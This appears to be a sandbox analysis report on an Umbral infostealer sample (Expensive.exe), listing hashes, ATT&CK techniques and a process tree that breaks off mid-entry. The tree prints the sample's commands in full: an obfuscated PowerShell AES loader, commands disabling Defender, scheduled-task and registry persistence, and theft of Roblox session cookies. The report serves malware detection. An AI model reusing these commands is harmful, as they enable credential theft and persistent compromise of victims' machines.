umbral | 3684b6d86d9928b8dfef807c55d5de421b6325c0cb28991037d26703598d1e44

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
26/05/2024, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Expensive.exe
Size 599KB
Sample240526-tpeyvsda78
SHA256 3684b6d86d9928b8dfef807c55d5de421b6325c0cb28991037d26703598d1e44
MD5 65e4c0420f496abb02201df254eb87a1
SHA1 6efcf4be11132a32a3df5029c87d2daa466fcc1a
SHA512 bedb40ae7f3a6c1a2cc7e62069025d87b5383526e414df9825ad50bf8516077574134fe25ff285f0754d2bee608ba619ee56a33d4e9ddb6a997dab4d5635f6bb
SSDEEP 12288:jeHrZIhqCgsKF/kFnBf5rkb2LAW/4Mon2rcATuNpGRhb5vUMfyU1/:jsFQqS0kR9aCkW/4t2r9upGmM6U1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral execution persistence spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0004000000022978-64.dat	family_umbral
behavioral2/memory/1772-71-0x00000266F5C70000-0x00000266F5CB0000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Sub\\Client.exe"	Client.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4900	powershell.exe
2880	powershell.exe
4856	powershell.exe
4428	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Modifies AppInit DLL entries 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Expensive.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
3828	ExpensiveLauncher.exe
1772	Umbral.exe
3652	Client.exe

Loads dropped DLL 40 IoCs

pid	Process
2784	Process not Found
4344	Process not Found
1496	Process not Found
1360	Process not Found
4436	Process not Found
2324	Process not Found
676	Process not Found
2628	Process not Found
4488	Process not Found
4892	Process not Found
3964	Process not Found
4944	Process not Found
2216	Process not Found
1640	Process not Found
760	Process not Found
1508	Process not Found
2740	Process not Found
2616	Process not Found
3176	Process not Found
4544	Process not Found
4884	Process not Found
4552	Process not Found
3628	Process not Found
3352	Process not Found
1112	Process not Found
3316	Process not Found
1612	Process not Found
4464	Process not Found
4396	Process not Found
756	Process not Found
1368	Process not Found
2576	Process not Found
4020	Process not Found
3100	Process not Found
4176	Process not Found
4812	Process not Found
1512	Process not Found
1640	Process not Found
2532	Process not Found
3780	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Windows\\Sub\\WatchDog.exe"	Client.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
36	discord.com
37	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Sub\Client.exe	Client.exe
File opened for modification	C:\Windows\Sub\Client.exe	Client.exe
File opened for modification	C:\Windows\Sub	Client.exe
File created	C:\Windows\Sub\WatchDog.exe	Client.exe
File opened for modification	C:\Windows\Sub\WatchDog.exe	Client.exe
File created	C:\Windows\xdwd.dll	Client.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 40 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
752	schtasks.exe
4968	schtasks.exe
1400	schtasks.exe
4416	schtasks.exe
2076	schtasks.exe
1068	schtasks.exe
2412	schtasks.exe
1508	schtasks.exe
4412	schtasks.exe
3204	schtasks.exe
3316	schtasks.exe
2628	schtasks.exe
2232	schtasks.exe
3356	schtasks.exe
612	schtasks.exe
1704	schtasks.exe
4084	schtasks.exe
4400	schtasks.exe
4416	schtasks.exe
3356	schtasks.exe
4680	schtasks.exe
3612	schtasks.exe
2480	schtasks.exe
3968	schtasks.exe
3696	schtasks.exe
4412	schtasks.exe
2536	schtasks.exe
1584	schtasks.exe
212	schtasks.exe
3932	schtasks.exe
4344	schtasks.exe
1836	schtasks.exe
2704	schtasks.exe
116	schtasks.exe
3528	schtasks.exe
1112	schtasks.exe
4656	schtasks.exe
3184	schtasks.exe
4084	schtasks.exe
3964	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1928	wmic.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\ = "URL:Run game 1199748644409184347 protocol"	ExpensiveLauncher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\URL Protocol	ExpensiveLauncher.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\shell	ExpensiveLauncher.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\shell\open	ExpensiveLauncher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ExpensiveLauncher.exe"	ExpensiveLauncher.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347	ExpensiveLauncher.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\DefaultIcon	ExpensiveLauncher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ExpensiveLauncher.exe"	ExpensiveLauncher.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\discord-1199748644409184347\shell\open\command	ExpensiveLauncher.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5068	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe
4900	powershell.exe
4900	powershell.exe
4900	powershell.exe
4428	powershell.exe
4428	powershell.exe
1772	Umbral.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe
4596	powershell.exe
4596	powershell.exe
4596	powershell.exe
1068	powershell.exe
1068	powershell.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe
3652	Client.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeIncreaseQuotaPrivilege	4900	powershell.exe
Token: SeSecurityPrivilege	4900	powershell.exe
Token: SeTakeOwnershipPrivilege	4900	powershell.exe
Token: SeLoadDriverPrivilege	4900	powershell.exe
Token: SeSystemProfilePrivilege	4900	powershell.exe
Token: SeSystemtimePrivilege	4900	powershell.exe
Token: SeProfSingleProcessPrivilege	4900	powershell.exe
Token: SeIncBasePriorityPrivilege	4900	powershell.exe
Token: SeCreatePagefilePrivilege	4900	powershell.exe
Token: SeBackupPrivilege	4900	powershell.exe
Token: SeRestorePrivilege	4900	powershell.exe
Token: SeShutdownPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeSystemEnvironmentPrivilege	4900	powershell.exe
Token: SeRemoteShutdownPrivilege	4900	powershell.exe
Token: SeUndockPrivilege	4900	powershell.exe
Token: SeManageVolumePrivilege	4900	powershell.exe
Token: 33	4900	powershell.exe
Token: 34	4900	powershell.exe
Token: 35	4900	powershell.exe
Token: 36	4900	powershell.exe
Token: SeIncreaseQuotaPrivilege	4900	powershell.exe
Token: SeSecurityPrivilege	4900	powershell.exe
Token: SeTakeOwnershipPrivilege	4900	powershell.exe
Token: SeLoadDriverPrivilege	4900	powershell.exe
Token: SeSystemProfilePrivilege	4900	powershell.exe
Token: SeSystemtimePrivilege	4900	powershell.exe
Token: SeProfSingleProcessPrivilege	4900	powershell.exe
Token: SeIncBasePriorityPrivilege	4900	powershell.exe
Token: SeCreatePagefilePrivilege	4900	powershell.exe
Token: SeBackupPrivilege	4900	powershell.exe
Token: SeRestorePrivilege	4900	powershell.exe
Token: SeShutdownPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeSystemEnvironmentPrivilege	4900	powershell.exe
Token: SeRemoteShutdownPrivilege	4900	powershell.exe
Token: SeUndockPrivilege	4900	powershell.exe
Token: SeManageVolumePrivilege	4900	powershell.exe
Token: 33	4900	powershell.exe
Token: 34	4900	powershell.exe
Token: 35	4900	powershell.exe
Token: 36	4900	powershell.exe
Token: SeIncreaseQuotaPrivilege	4900	powershell.exe
Token: SeSecurityPrivilege	4900	powershell.exe
Token: SeTakeOwnershipPrivilege	4900	powershell.exe
Token: SeLoadDriverPrivilege	4900	powershell.exe
Token: SeSystemProfilePrivilege	4900	powershell.exe
Token: SeSystemtimePrivilege	4900	powershell.exe
Token: SeProfSingleProcessPrivilege	4900	powershell.exe
Token: SeIncBasePriorityPrivilege	4900	powershell.exe
Token: SeCreatePagefilePrivilege	4900	powershell.exe
Token: SeBackupPrivilege	4900	powershell.exe
Token: SeRestorePrivilege	4900	powershell.exe
Token: SeShutdownPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeSystemEnvironmentPrivilege	4900	powershell.exe
Token: SeRemoteShutdownPrivilege	4900	powershell.exe
Token: SeUndockPrivilege	4900	powershell.exe
Token: SeManageVolumePrivilege	4900	powershell.exe
Token: 33	4900	powershell.exe
Token: 34	4900	powershell.exe
Token: 35	4900	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 3828	3100	Expensive.exe	86
PID 3100 wrote to memory of 3828	3100	Expensive.exe	86
PID 3100 wrote to memory of 5076	3100	Expensive.exe	88
PID 3100 wrote to memory of 5076	3100	Expensive.exe	88
PID 3828 wrote to memory of 2396	3828	ExpensiveLauncher.exe	90
PID 3828 wrote to memory of 2396	3828	ExpensiveLauncher.exe	90
PID 5076 wrote to memory of 1820	5076	cmd.exe	91
PID 5076 wrote to memory of 1820	5076	cmd.exe	91
PID 1820 wrote to memory of 1512	1820	net.exe	92
PID 1820 wrote to memory of 1512	1820	net.exe	92
PID 5076 wrote to memory of 4856	5076	cmd.exe	96
PID 5076 wrote to memory of 4856	5076	cmd.exe	96
PID 4856 wrote to memory of 4900	4856	powershell.exe	100
PID 4856 wrote to memory of 4900	4856	powershell.exe	100
PID 4856 wrote to memory of 820	4856	powershell.exe	102
PID 4856 wrote to memory of 820	4856	powershell.exe	102
PID 820 wrote to memory of 4796	820	WScript.exe	103
PID 820 wrote to memory of 4796	820	WScript.exe	103
PID 4796 wrote to memory of 1400	4796	cmd.exe	105
PID 4796 wrote to memory of 1400	4796	cmd.exe	105
PID 1400 wrote to memory of 3608	1400	net.exe	106
PID 1400 wrote to memory of 3608	1400	net.exe	106
PID 4796 wrote to memory of 4428	4796	cmd.exe	107
PID 4796 wrote to memory of 4428	4796	cmd.exe	107
PID 4428 wrote to memory of 1772	4428	powershell.exe	109
PID 4428 wrote to memory of 1772	4428	powershell.exe	109
PID 4428 wrote to memory of 3652	4428	powershell.exe	110
PID 4428 wrote to memory of 3652	4428	powershell.exe	110
PID 1772 wrote to memory of 4120	1772	Umbral.exe	113
PID 1772 wrote to memory of 4120	1772	Umbral.exe	113
PID 1772 wrote to memory of 1928	1772	Umbral.exe	115
PID 1772 wrote to memory of 1928	1772	Umbral.exe	115
PID 1772 wrote to memory of 2880	1772	Umbral.exe	117
PID 1772 wrote to memory of 2880	1772	Umbral.exe	117
PID 1772 wrote to memory of 3612	1772	Umbral.exe	119
PID 1772 wrote to memory of 3612	1772	Umbral.exe	119
PID 1772 wrote to memory of 1452	1772	Umbral.exe	121
PID 1772 wrote to memory of 1452	1772	Umbral.exe	121
PID 1772 wrote to memory of 4596	1772	Umbral.exe	123
PID 1772 wrote to memory of 4596	1772	Umbral.exe	123
PID 1772 wrote to memory of 2108	1772	Umbral.exe	125
PID 1772 wrote to memory of 2108	1772	Umbral.exe	125
PID 1772 wrote to memory of 1508	1772	Umbral.exe	127
PID 1772 wrote to memory of 1508	1772	Umbral.exe	127
PID 1772 wrote to memory of 2148	1772	Umbral.exe	129
PID 1772 wrote to memory of 2148	1772	Umbral.exe	129
PID 1772 wrote to memory of 1068	1772	Umbral.exe	131
PID 1772 wrote to memory of 1068	1772	Umbral.exe	131
PID 1772 wrote to memory of 1928	1772	Umbral.exe	133
PID 1772 wrote to memory of 1928	1772	Umbral.exe	133
PID 1772 wrote to memory of 4612	1772	Umbral.exe	135
PID 1772 wrote to memory of 4612	1772	Umbral.exe	135
PID 4612 wrote to memory of 5068	4612	cmd.exe	137
PID 4612 wrote to memory of 5068	4612	cmd.exe	137
PID 3652 wrote to memory of 1712	3652	Client.exe	138
PID 3652 wrote to memory of 1712	3652	Client.exe	138
PID 1712 wrote to memory of 3612	1712	CMD.exe	140
PID 1712 wrote to memory of 3612	1712	CMD.exe	140
PID 3652 wrote to memory of 4696	3652	Client.exe	141
PID 3652 wrote to memory of 4696	3652	Client.exe	141
PID 4696 wrote to memory of 2480	4696	CMD.exe	143
PID 4696 wrote to memory of 2480	4696	CMD.exe	143
PID 3652 wrote to memory of 4544	3652	Client.exe	144
PID 3652 wrote to memory of 4544	3652	Client.exe	144

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1928	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Expensive.exe
"C:\Users\Admin\AppData\Local\Temp\Expensive.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Users\Admin\AppData\Local\Temp\ExpensiveLauncher.exe
  "C:\Users\Admin\AppData\Local\Temp\ExpensiveLauncher.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Expensive.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zlo9ncEYo3QUkLbnvPRah2udZSQFyEkFClqBW6M5QLg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KvNrQpenzWsPMRFAkt8PNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dWnBZ=New-Object System.IO.MemoryStream(,$param_var); $fgVcf=New-Object System.IO.MemoryStream; $AcYrR=New-Object System.IO.Compression.GZipStream($dWnBZ, [IO.Compression.CompressionMode]::Decompress); $AcYrR.CopyTo($fgVcf); $AcYrR.Dispose(); $dWnBZ.Dispose(); $fgVcf.Dispose(); $fgVcf.ToArray();}function execute_function($param_var,$param2_var){ $MnaPb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KIsjD=$MnaPb.EntryPoint; $KIsjD.Invoke($null, $param2_var);}$UgcxC = 'C:\Users\Admin\AppData\Local\Temp\Expensive.bat';$host.UI.RawUI.WindowTitle = $UgcxC;$RYiHp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UgcxC).Split([Environment]::NewLine);foreach ($AWVRD in $RYiHp) { if ($AWVRD.StartsWith(':: ')) { $qeYnm=$AWVRD.Substring(3); break; }}$payloads_var=[string[]]$qeYnm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_451_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_451.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4900
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_451.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:820
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_451.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4796
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1400
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:3608
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zlo9ncEYo3QUkLbnvPRah2udZSQFyEkFClqBW6M5QLg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KvNrQpenzWsPMRFAkt8PNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dWnBZ=New-Object System.IO.MemoryStream(,$param_var); $fgVcf=New-Object System.IO.MemoryStream; $AcYrR=New-Object System.IO.Compression.GZipStream($dWnBZ, [IO.Compression.CompressionMode]::Decompress); $AcYrR.CopyTo($fgVcf); $AcYrR.Dispose(); $dWnBZ.Dispose(); $fgVcf.Dispose(); $fgVcf.ToArray();}function execute_function($param_var,$param2_var){ $MnaPb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KIsjD=$MnaPb.EntryPoint; $KIsjD.Invoke($null, $param2_var);}$UgcxC = 'C:\Users\Admin\AppData\Roaming\startup_str_451.bat';$host.UI.RawUI.WindowTitle = $UgcxC;$RYiHp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UgcxC).Split([Environment]::NewLine);foreach ($AWVRD in $RYiHp) { if ($AWVRD.StartsWith(':: ')) { $qeYnm=$AWVRD.Substring(3); break; }}$payloads_var=[string[]]$qeYnm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        7⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1772
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        8⤵
        
        PID:4120
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        8⤵
        Views/modifies file attributes
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        8⤵
        
        PID:3612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4596
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        8⤵
        
        PID:2108
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        8⤵
        
        PID:1508
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        8⤵
        
        PID:2148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1068
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:1928
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4612
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        9⤵
        Runs ping.exe
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\Client.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Client.exe"
        7⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3652
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "AssemblyBroker" /tr "C:\Windows\Sub\Client.exe" & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1712
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "AssemblyBroker" /tr "C:\Windows\Sub\Client.exe"
        9⤵
        Creates scheduled task(s)
        
        PID:3612
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4696
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2480
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Svhost" /tr "C:\Windows\Sub\WatchDog.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4544
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "Svhost" /tr "C:\Windows\Sub\WatchDog.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:2628
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:4680
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3968
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:3988
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:3696
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
        PID:2664
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:1068
        
        C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Windows\Sub\Client.exe" /RL HIGHEST & exit
        8⤵
        
